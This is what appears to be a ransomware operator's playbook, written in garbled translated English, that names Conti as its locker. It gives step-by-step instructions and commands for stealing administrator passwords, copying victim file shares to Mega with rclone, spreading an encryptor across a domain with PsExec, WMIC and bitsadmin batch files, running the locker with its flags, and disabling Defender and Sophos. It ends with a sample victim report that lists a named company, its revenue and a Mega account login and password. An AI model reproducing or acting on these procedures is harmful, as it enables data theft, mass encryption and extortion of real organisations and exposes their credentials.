It also happens in chrome that there are no passwords in the Login Date, but if you carefully examine the profile folder, you will find an extenstions folder and there is a lastpass. This can also happen in practice, in this case, log in via RDP at night and export passwords (or a keylogger or other options)

Similarly, you can look at the Firefox / Edge folder (I will add the paths, googling easily)

TAlso, system administrators often have the following folders in AppData \ Roaming && AppData \ Local:

Keepass
LastPass

There their configs. We drag them, put them in a confa. If you find such a thing, it means MOST OF ALL there are a lot of exactly those most necessary passwords.

It also happens that the admin directly on the desktop stores ala
access.xlsx
passwords.docx

We swing, break, watch.

there is also an outlook folder
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Microsoft \ Outlook

Here is the file ala
gpetit@domain.com - Exchange1.ost
It contains the CORRESPONDENCE of this pepper. You can download it to yourself, open the "free ost viewer" and see the login / outcome mail. REGULARLY it is useful to sort out difficult situations with this particular technique.
It's easy to copy - cut outlook.exe, copy-paste the .ost file, then the user will open outlook for himself.

\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Filezilla
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Roaming \ Filezilla

Here sitemanager.xml files can be with FTP SSH credentials. Downloading, watching, throwing in confu.

Also inspect \\ 172.16.1.40 \ C $ \ ProgramData
+ Program files / x86
+ Local disks that fell out in net view \\ host / ALL
D $ and so on

Also in ad_users.txt there is homeDir - we also look at it, study it.

Look like that's it.

For what the manual was written - so as not to try to go headlong to raise the session and catch alerts from the admin.
Our job is rather to figure out what is how it works, and not to configure brute force for all kinds of access.
Everything is already hacked, you just need to look at everything! Through the eyes of an admin!
The main task of the admin hunt is to understand where he stores passwords and to steal the database \ ekselka \ file \ textvik \ document!!!

Stage II. Uploading data

1.Mega registration

Register on the website https://mega.io/
We choose a subscription depending on the size of the grid.
Usually 2TB
Choosing a crypto payment

We drop the requisites for payment to the team lead

One mega cannot be used for multiple grids !!!

2.Creating a rclone config

1.download rclone.exe from the site's office and create the rclone.conf file
2.open cmd from the admin, fall into the folder where the program with the configuration file is and execute the command: rclone config
3.further select new remote in the menu that appears
4.call it mega then enter mega again
5. after that we enter the mail address mega after he asks for his pass to enter or generate we choose our letter 'Y'
6. after creating the config, we are thrown into the main menu and we exit the clone.
7.further enter this command rclone.exe config show it will show the config itself that we created
8. copy it to the rclone.conf file

3.Uploading data

After we found the balls we are interested in, we load the .exe and the config for the target machine with the rights, go to the directory of the executable and give the command:

-- --------------

Examples:

```
shell rclone.exe copy "ball" Mega: training -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M
```

Use this ==> shell rclone.exe copy "\\ WTFINANCE.washoetribe.net \ E $ \ FINANCE" mega: 1 -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M

```
shell rclone.exe copy "\\ trucamtldc01 \ E $ \ Data" remote: Data -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12
```

```
shell rclone.exe copy "\\ FS \" remote: NT -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12
```

```
shell rclone.exe copy "\\ PETERLENOVO.wist.local \ Users" ftp1: uploads / Users / -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3
```

```
shell rclone.exe copy "\\ envisionpharma.com \ IT \ KLSHARE" Mega: Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12
```

\\ envisionpharma.com \ IT \ KLSHARE these are the balls that we pump out, we can specify whatever we like, even the whole disk
Mega - the name of the config, which we indicated when performing paragraph 5
Finanse - the folder in the mega, where the infa is uploaded, if it is not there, it will create it itself.
streams 12 --transfers 12this is the number of threads that pump. I do not recommend the maximum (12) as you can easily sleep

GUIDE
https://rclone.org/mega/

4.Dedicated disk backup

Registering a Dedicated Server
Install the application - https://mega.io/sync
Through the application, download the content of the mega to the Dedicated Server

5.Preparing the datapack

We go to the mega from the torus... and search by keywords. need accounting reports. bank statements. for 20-21 years. all fresh. especially important, cyber insurance, security policy documents.
Search keywords:

cyber
policy
insurance
endorsement
supplementary
underwriting
terms
bank
2020
2021
Statement

and everything that can be juicy.
always who is downloading information
prepares datapack right away
immediately backs up info to mega
and makes a complete listing of all information!

Stage III. Lock

one. Collection of body shirts for copying and launching a file across the entire domain
Collecting a batch file to copy a file across the entire domain
Save as "COPY.BAT"

```
start PsExec.exe / accepteula @C: \ share $ \ comps1.txt -u
DOMAIN \ ADMINISTRATOR -p PASSWORD cmd / c COPY "\\ PRIMARY
DOMAIN CONTROLLER \ share $ \ fx166.exe" "C: \ windows \ temp \
"
```

Collecting a batch file to run a file across the entire domain
Save as "EXE.BAT"

```
start PsExec.exe -d @C: \ share $ \ comps1.txt -u DOMAIN \
ADMINISTRATOR -p PASSWORD cmd /cc:\windows\temp\fx166.exe
```

Collecting a WMI batch file to copy and run a file across the entire domain
Save as "WMI.BAT"

```
start wmic /node:@C:\share$\comps1.txt / user: "DOMAIN \
Administrator" / password: "PASSWORD" process call create
"cmd.exe / c bitsadmin / transfer fx166 \\ DOMAIN CONTROLLER \
share $ \ fx166.exe% APPDATA% \ fx166.exe &% APPDATA% \
fx166.exe "
```

Locker launch parameter on Linux versions
Unix version launch parameters

--path
When using this parameter, the locker will encrypt files in the specified path. A required parameter will not lock anything without it.

```
 ./encryptor --path / path
```

--prockiller
 Kills all processes that interfere with the opening of files.

```
 ./encryptor --path / path --prockiller
```

--log
 Includes logging of all actions and errors

```
 ./encryptor --path / path --log /root/log.txt
```

--vmkiller(Esxi only)
 Shuts down all virtual machines

--vmlist(Esxi only)
Specifies a file with a list of virtual machines that should not be shut down. One line for each VM.

```
 ./encryptor --path / path --vmkiller --vmlist /tmp/list.txt
```

--detach
 Detaches the process from the terminal.
So that if the ssh session falls off, the locker will continue to work

And the files are not beaten

ESXi version REQUEST SEPARATELY

If something does not start, I need OS, kernel version and glibc version
/lib64/libc.so.6

OVER

LOCKER
1.exe -nolan apply by default (only local drives are localized ... it can still get into network drives (lock loch!))
1.exe -nolocal (locates only mapped network drives)
1.exe -fast (no completion processes occupying files and deleting Shadow copies)

1.exe -full (locks EVERYTHING !!! Dangerous! Applybe on your nerves)) or on fagots)

1.exe -path "\\ ip"(the specified path to the folder, also on another PC "\\ 192.168.0.1 \ with $ \ folder")

MASS_LOCK networks: (locates only [C] disk on all PCs):

MASS_LOCK:

```
psexec.exe \\% 0 -s -d -i -c -f uac.bat
```

```
psexec.exe \\% 0 -s -d -i -c -f defoff.bat
```

```
psexec.exe \\% 0 -d -i -c -f 1.exe
```

2. Disable AB

Disabling defender

Manually:

gpedit.msc

Inside, go along the path Computer Configuration - Administrative Templates - Windows Components - Windows Defender
Find the item **"Real time protection"**
Selecting an item **"Disable real-time protection"**
Choose **"Included"**
Enter gpupdate / force into cmd

Not manually:

```
powershell Set-MpPreference -DisableRealtimeMonitoring $ true
```

or

```
New-ItemProperty -Path "HKLM: \ SOFTWARE \ Policies \ Microsoft \ Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
```

And one more way

We open Gmer or alternatives - we chop off the mspeng process \ or go to the file location, delete the file itself.

Sophos

We need the rights of a local administrator.

Load Gmer on the target, launch it, go to the Processes tab, find and demolish all Sophos processes.

After that, we wait ~ 15-20 seconds and see a notification that the sophos has stopped working. The sophos icon should be gone.

Then we go to the Files tab and find the folder with the sophos and try to delete the .exe files, first of all we delete all the .exe files in the File Scanner folder, and then in other folders.

Then we launch Pchunter and go to the Services tab and demolish the sophos services.

Then we go to the Files tab (desirable, but not necessary) and there we already completely demolish the folder (s) select Force Delete (does not always work) with a sophos.

3. Running batch files

Go to the C: \ drive and create a folder called "share $"
We share the created folder and upload our .bat files there
You also need psexec.exe and the file with which you will encrypt this domain

Launching COPY.BAT
We are waiting for all the CMD windows to work
Run EXE.BAT
We are waiting for all the CMD windows to work
Run WMI.BAT
We are waiting for all the CMD windows to work

\\ further we will need to spread the payload dllku over the network and attract bots - batniki delayutsa vot tyt - http://tobbot.com/data/

```
copy "C: \ ProgramData \ BuildName.exe" "\\ {1} \ c $ \ ProgramData \ BuildName.exe"
```

```
wmic / node: {1} process call create "rundll32.exe C: \ ProgramData \ 2.dll StartW"
```

copy.bat

```
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.11 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.14 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.18 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.21 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.27 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.4 \ c $ \ ProgramData \ 2.dll"
```

4. Checking the result of the work of batch files

We go to each RDP work and check how the file worked (if the file is not there, copy it from our Windows via RDP to the server and run it)

5. Launching the locker manually

Launching the locker manually//

6. Preparing of report

Example:

```
================================================== =============
https://www.zoominfo.com/c/labranche-therrien-daoust-lefrancois/414493394
 Website: ltdl.ca
 1398 Servers 9654 Works - all in lock
Mega:
Ulfayjhdtyjeman@outlook.com
u4naY [pclwuhkpo5iW
25000gb info

Labranche Therrien Daoust Lefrançois - financiers / accountants
Revenue: $ 985 Million
Locker: Conti
Case from botnet
--- BEGIN ID ---
i0KrUPg8RSrFuPPr16C931X2rS04c4892ZR1fNVfhmrmVXtOlxYisSzBJHvksbzI
==================================================
==============
```

IV Miscellaneous